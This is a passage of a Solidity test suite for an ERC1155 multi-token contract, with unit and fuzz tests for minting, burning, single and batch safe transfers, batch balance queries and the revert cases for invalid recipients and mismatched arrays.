ERC1155User from = new ERC1155User(token);
token.mint(address(from), 1337, 100, "");
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(0xBEEF), 1337, 70, "");
assertEq(token.balanceOf(address(0xBEEF), 1337), 70);
assertEq(token.balanceOf(address(from), 1337), 30);
}
function testSafeTransferFromToERC1155Recipient() public {
ERC1155Recipient to = new ERC1155Recipient();
ERC1155User from = new ERC1155User(token);
token.mint(address(from), 1337, 100, "");
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(to), 1337, 70, "testing 123");
assertEq(to.operator(), address(this));
assertEq(to.from(), address(from));
assertEq(to.id(), 1337);
assertBytesEq(to.mintData(), "testing 123");
assertEq(token.balanceOf(address(to), 1337), 70);
assertEq(token.balanceOf(address(from), 1337), 30);
}
function testSafeTransferFromSelf() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(0xBEEF), 1337, 70, "");
assertEq(token.balanceOf(address(0xBEEF), 1337), 70);
assertEq(token.balanceOf(address(this), 1337), 30);
}
function testSafeBatchTransferFromToEOA() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, "");
assertEq(token.balanceOf(address(from), 1337), 50);
assertEq(token.balanceOf(address(0xBEEF), 1337), 50);
assertEq(token.balanceOf(address(from), 1338), 100);
assertEq(token.balanceOf(address(0xBEEF), 1338), 100);
assertEq(token.balanceOf(address(from), 1339), 150);
assertEq(token.balanceOf(address(0xBEEF), 1339), 150);
assertEq(token.balanceOf(address(from), 1340), 200);
assertEq(token.balanceOf(address(0xBEEF), 1340), 200);
assertEq(token.balanceOf(address(from), 1341), 250);
assertEq(token.balanceOf(address(0xBEEF), 1341), 250);
}
function testSafeBatchTransferFromToERC1155Recipient() public {
ERC1155User from = new ERC1155User(token);
ERC1155Recipient to = new ERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(to), ids, transferAmounts, "testing 123");
assertEq(to.batchOperator(), address(this));
assertEq(to.batchFrom(), address(from));
assertUintArrayEq(to.batchIds(), ids);
assertUintArrayEq(to.batchAmounts(), transferAmounts);
assertBytesEq(to.batchData(), "testing 123");
assertEq(token.balanceOf(address(from), 1337), 50);
assertEq(token.balanceOf(address(to), 1337), 50);
assertEq(token.balanceOf(address(from), 1338), 100);
assertEq(token.balanceOf(address(to), 1338), 100);
assertEq(token.balanceOf(address(from), 1339), 150);
assertEq(token.balanceOf(address(to), 1339), 150);
assertEq(token.balanceOf(address(from), 1340), 200);
assertEq(token.balanceOf(address(to), 1340), 200);
assertEq(token.balanceOf(address(from), 1341), 250);
assertEq(token.balanceOf(address(to), 1341), 250);
}
function testBatchBalanceOf() public {
address[] memory tos = new address[](5);
tos[0] = address(0xBEEF);
tos[1] = address(0xCAFE);
tos[2] = address(0xFACE);
tos[3] = address(0xDEAD);
tos[4] = address(0xFEED);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
token.mint(address(0xBEEF), 1337, 100, "");
token.mint(address(0xCAFE), 1338, 200, "");
token.mint(address(0xFACE), 1339, 300, "");
token.mint(address(0xDEAD), 1340, 400, "");
token.mint(address(0xFEED), 1341, 500, "");
uint256[] memory balances = token.balanceOfBatch(tos, ids);
assertEq(balances[0], 100);
assertEq(balances[1], 200);
assertEq(balances[2], 300);
assertEq(balances[3], 400);
assertEq(balances[4], 500);
}
function testFailMintToZero() public {
token.mint(address(0), 1337, 1, "");
}
function testFailMintToNonERC155Recipient() public {
token.mint(address(new NonERC1155Recipient()), 1337, 1, "");
}
function testFailMintToRevertingERC155Recipient() public {
token.mint(address(new RevertingERC1155Recipient()), 1337, 1, "");
}
function testFailMintToWrongReturnDataERC155Recipient() public {
token.mint(address(new RevertingERC1155Recipient()), 1337, 1, "");
}
function testFailBurnInsufficientBalance() public {
token.mint(address(0xBEEF), 1337, 70, "");
token.burn(address(0xBEEF), 1337, 100);
}
function testFailSafeTransferFromInsufficientBalance() public {
ERC1155User from = new ERC1155User(token);
token.mint(address(from), 1337, 70, "");
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(0xBEEF), 1337, 100, "");
}
function testFailSafeTransferFromSelfInsufficientBalance() public {
token.mint(address(this), 1337, 70, "");
token.safeTransferFrom(address(this), address(0xBEEF), 1337, 100, "");
}
function testFailSafeTransferFromToZero() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(0), 1337, 70, "");
}
function testFailSafeTransferFromToNonERC155Recipient() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(new NonERC1155Recipient()), 1337, 70, "");
}
function testFailSafeTransferFromToRevertingERC1155Recipient() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(new RevertingERC1155Recipient()), 1337, 70, "");
}
function testFailSafeTransferFromToWrongReturnDataERC1155Recipient() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(new WrongReturnDataERC1155Recipient()), 1337, 70, "");
}
function testFailSafeBatchTransferInsufficientBalance() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 50;
mintAmounts[1] = 100;
mintAmounts[2] = 150;
mintAmounts[3] = 200;
mintAmounts[4] = 250;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 100;
transferAmounts[1] = 200;
transferAmounts[2] = 300;
transferAmounts[3] = 400;
transferAmounts[4] = 500;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, "");
}
function testFailSafeBatchTransferFromToZero() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0), ids, transferAmounts, "");
}
function testFailSafeBatchTransferFromToNonERC1155Recipient() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(new NonERC1155Recipient()), ids, transferAmounts, "");
}
function testFailSafeBatchTransferFromToRevertingERC1155Recipient() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(new RevertingERC1155Recipient()), ids, transferAmounts, "");
}
function testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(
address(from),
address(new WrongReturnDataERC1155Recipient()),
ids,
transferAmounts,
""
);
}
function testFailSafeBatchTransferFromWithArrayLengthMismatch() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](4);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, "");
}
function testFailBatchMintToZero() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
token.batchMint(address(0), ids, mintAmounts, "");
}
function testFailBatchMintToNonERC1155Recipient() public {
NonERC1155Recipient to = new NonERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
token.batchMint(address(to), ids, mintAmounts, "");
}
function testFailBatchMintToRevertingERC1155Recipient() public {
RevertingERC1155Recipient to = new RevertingERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
token.batchMint(address(to), ids, mintAmounts, "");
}
function testFailBatchMintToWrongReturnDataERC1155Recipient() public {
WrongReturnDataERC1155Recipient to = new WrongReturnDataERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
token.batchMint(address(to), ids, mintAmounts, "");
}
function testFailBatchMintWithArrayMismatch() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory amounts = new uint256[](4);
amounts[0] = 100;
amounts[1] = 200;
amounts[2] = 300;
amounts[3] = 400;
token.batchMint(address(0xBEEF), ids, amounts, "");
}
function testFailBatchBurnInsufficientBalance() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 50;
mintAmounts[1] = 100;
mintAmounts[2] = 150;
mintAmounts[3] = 200;
mintAmounts[4] = 250;
uint256[] memory burnAmounts = new uint256[](5);
burnAmounts[0] = 100;
burnAmounts[1] = 200;
burnAmounts[2] = 300;
burnAmounts[3] = 400;
burnAmounts[4] = 500;
token.batchMint(address(0xBEEF), ids, mintAmounts, "");
token.batchBurn(address(0xBEEF), ids, burnAmounts);
}
function testFailBatchBurnWithArrayLengthMismatch() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory burnAmounts = new uint256[](4);
burnAmounts[0] = 50;
burnAmounts[1] = 100;
burnAmounts[2] = 150;
burnAmounts[3] = 200;
token.batchMint(address(0xBEEF), ids, mintAmounts, "");
token.batchBurn(address(0xBEEF), ids, burnAmounts);
}
function testFailBalanceOfBatchWithArrayMismatch() public view {
address[] memory tos = new address[](5);
tos[0] = address(0xBEEF);
tos[1] = address(0xCAFE);
tos[2] = address(0xFACE);
tos[3] = address(0xDEAD);
tos[4] = address(0xFEED);
uint256[] memory ids = new uint256[](4);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
token.balanceOfBatch(tos, ids);
}
function testMintToEOA(
address to,
uint256 id,
uint256 amount,
bytes memory mintData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
token.mint(to, id, amount, mintData);
assertEq(token.balanceOf(to, id), amount);
}
function testMintToERC1155Recipient(
uint256 id,
uint256 amount,
bytes memory mintData
) public {
ERC1155Recipient to = new ERC1155Recipient();
token.mint(address(to), id, amount, mintData);
assertEq(token.balanceOf(address(to), id), amount);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), id);
assertBytesEq(to.mintData(), mintData);
}
function testBatchMintToEOA(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[to][id] += mintAmount;
}
token.batchMint(to, normalizedIds, normalizedAmounts, mintData);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
assertEq(token.balanceOf(to, id), userMintAmounts[to][id]);
}
}
function testBatchMintToERC1155Recipient(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
ERC1155Recipient to = new ERC1155Recipient();
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(to)][id] += mintAmount;
}
token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);
assertEq(to.batchOperator(), address(this));
assertEq(to.batchFrom(), address(0));
assertUintArrayEq(to.batchIds(), normalizedIds);
assertUintArrayEq(to.batchAmounts(), normalizedAmounts);
assertBytesEq(to.batchData(), mintData);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
assertEq(token.balanceOf(address(to), id), userMintAmounts[address(to)][id]);
}
}
function testBurn(
address to,
uint256 id,
uint256 mintAmount,
bytes memory mintData,
uint256 burnAmount
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
burnAmount = bound(burnAmount, 0, mintAmount);
token.mint(to, id, mintAmount, mintData);
token.burn(to, id, burnAmount);
assertEq(token.balanceOf(address(to), id), mintAmount - burnAmount);
}
function testBatchBurn(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory burnAmounts,
bytes memory mintData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
uint256 minLength = min3(ids.length, mintAmounts.length, burnAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedBurnAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
normalizedIds[i] = id;
normalizedMintAmounts[i] = bound(mintAmounts[i], 0, remainingMintAmountForId);
normalizedBurnAmounts[i] = bound(burnAmounts[i], 0, normalizedMintAmounts[i]);
userMintAmounts[address(to)][id] += normalizedMintAmounts[i];
userTransferOrBurnAmounts[address(to)][id] += normalizedBurnAmounts[i];
}
token.batchMint(to, normalizedIds, normalizedMintAmounts, mintData);
token.batchBurn(to, normalizedIds, normalizedBurnAmounts);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
assertEq(token.balanceOf(to, id), userMintAmounts[to][id] - userTransferOrBurnAmounts[to][id]);
}
}
function testApproveAll(address to, bool approved) public {
token.setApprovalForAll(to, approved);
assertBoolEq(token.isApprovedForAll(address(this), to), approved);
}
function testSafeTransferFromToEOA(
uint256 id,
uint256 mintAmount,
bytes memory mintData,
uint256 transferAmount,
address to,
bytes memory transferData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
transferAmount = bound(transferAmount, 0, mintAmount);
ERC1155User from = new ERC1155User(token);
token.mint(address(from), id, mintAmount, mintData);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), to, id, transferAmount, transferData);
assertEq(token.balanceOf(to, id), transferAmount);
assertEq(token.balanceOf(address(from), id), mintAmount - transferAmount);
}
function testSafeTransferFromToERC1155Recipient(
uint256 id,
uint256 mintAmount,
bytes memory mintData,
uint256 transferAmount,
bytes memory transferData
) public {
ERC1155Recipient to = new ERC1155Recipient();
ERC1155User from = new ERC1155User(token);
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(from), id, mintAmount, mintData);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(to), id, transferAmount, transferData);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(from));
assertEq(to.id(), id);
assertBytesEq(to.mintData(), transferData);
assertEq(token.balanceOf(address(to), id), transferAmount);
assertEq(token.balanceOf(address(from), id), mintAmount - transferAmount);
}
function testSafeTransferFromSelf(
uint256 id,
uint256 mintAmount,
bytes memory mintData,
uint256 transferAmount,
address to,
bytes memory transferData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(address(this), to, id, transferAmount, transferData);
assertEq(token.balanceOf(to, id), transferAmount);
assertEq(token.balanceOf(address(this), id), mintAmount - transferAmount);
}
function testSafeBatchTransferFromToEOA(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
userTransferOrBurnAmounts[address(from)][id] += transferAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), to, normalizedIds, normalizedTransferAmounts, transferData);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
assertEq(token.balanceOf(address(to), id), userTransferOrBurnAmounts[address(from)][id]);
assertEq(
token.balanceOf(address(from), id),
userMintAmounts[address(from)][id] - userTransferOrBurnAmounts[address(from)][id]
);
}
}
function testSafeBatchTransferFromToERC1155Recipient(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
ERC1155Recipient to = new ERC1155Recipient();
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
userTransferOrBurnAmounts[address(from)][id] += transferAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(to), normalizedIds, normalizedTransferAmounts, transferData);
assertEq(to.batchOperator(), address(this));
assertEq(to.batchFrom(), address(from));
assertUintArrayEq(to.batchIds(), normalizedIds);
assertUintArrayEq(to.batchAmounts(), normalizedTransferAmounts);
assertBytesEq(to.batchData(), transferData);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
uint256 transferAmount = userTransferOrBurnAmounts[address(from)][id];
assertEq(token.balanceOf(address(to), id), transferAmount);
assertEq(token.balanceOf(address(from), id), userMintAmounts[address(from)][id] - transferAmount);
}
}
function testBatchBalanceOf(
address[] memory tos,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
uint256 minLength = min3(tos.length, ids.length, amounts.length);
address[] memory normalizedTos = new address[](minLength);
uint256[] memory normalizedIds = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
address to = tos[i] == address(0) ? address(0xBEEF) : tos[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];
normalizedTos[i] = to;
normalizedIds[i] = id;
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
token.mint(to, id, mintAmount, mintData);
userMintAmounts[to][id] += mintAmount;
}
uint256[] memory balances = token.balanceOfBatch(normalizedTos, normalizedIds);
for (uint256 i = 0; i < normalizedTos.length; i++) {
assertEq(balances[i], token.balanceOf(normalizedTos[i], normalizedIds[i]));
}
}
function testFailMintToZero(
uint256 id,
uint256 amount,
bytes memory data
) public {
token.mint(address(0), id, amount, data);
}
function testFailMintToNonERC155Recipient(
uint256 id,
uint256 mintAmount,
bytes memory mintData
) public {
token.mint(address(new NonERC1155Recipient()), id, mintAmount, mintData);
}
function testFailMintToRevertingERC155Recipient(
uint256 id,
uint256 mintAmount,
bytes memory mintData
) public {
token.mint(address(new RevertingERC1155Recipient()), id, mintAmount, mintData);
}
function testFailMintToWrongReturnDataERC155Recipient(
uint256 id,
uint256 mintAmount,
bytes memory mintData
) public {
token.mint(address(new RevertingERC1155Recipient()), id, mintAmount, mintData);
}
function testFailBurnInsufficientBalance(
address to,
uint256 id,
uint256 mintAmount,
uint256 burnAmount,
bytes memory mintData
) public {
burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);
token.mint(to, id, mintAmount, mintData);
token.burn(to, id, burnAmount);
}
function testFailSafeTransferFromInsufficientBalance(
address to,
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
transferAmount = bound(transferAmount, mintAmount + 1, type(uint256).max);
token.mint(address(from), id, mintAmount, mintData);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), to, id, transferAmount, transferData);
}
function testFailSafeTransferFromSelfInsufficientBalance(
address to,
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, mintAmount + 1, type(uint256).max);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(address(this), to, id, transferAmount, transferData);
}
function testFailSafeTransferFromToZero(
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(address(this), address(0), id, transferAmount, transferData);
}
function testFailSafeTransferFromToNonERC155Recipient(
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(address(this), address(new NonERC1155Recipient()), id, transferAmount, transferData);
}
function testFailSafeTransferFromToRevertingERC1155Recipient(
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(
address(this),
address(new RevertingERC1155Recipient()),
id,
transferAmount,
transferData
);
}
function testFailSafeTransferFromToWrongReturnDataERC1155Recipient(
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(
address(this),
address(new WrongReturnDataERC1155Recipient()),
id,
transferAmount,
transferData
);
}
function testFailSafeBatchTransferInsufficientBalance(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], mintAmount + 1, type(uint256).max);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), to, normalizedIds, normalizedTransferAmounts, transferData);
}
function testFailSafeBatchTransferFromToZero(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
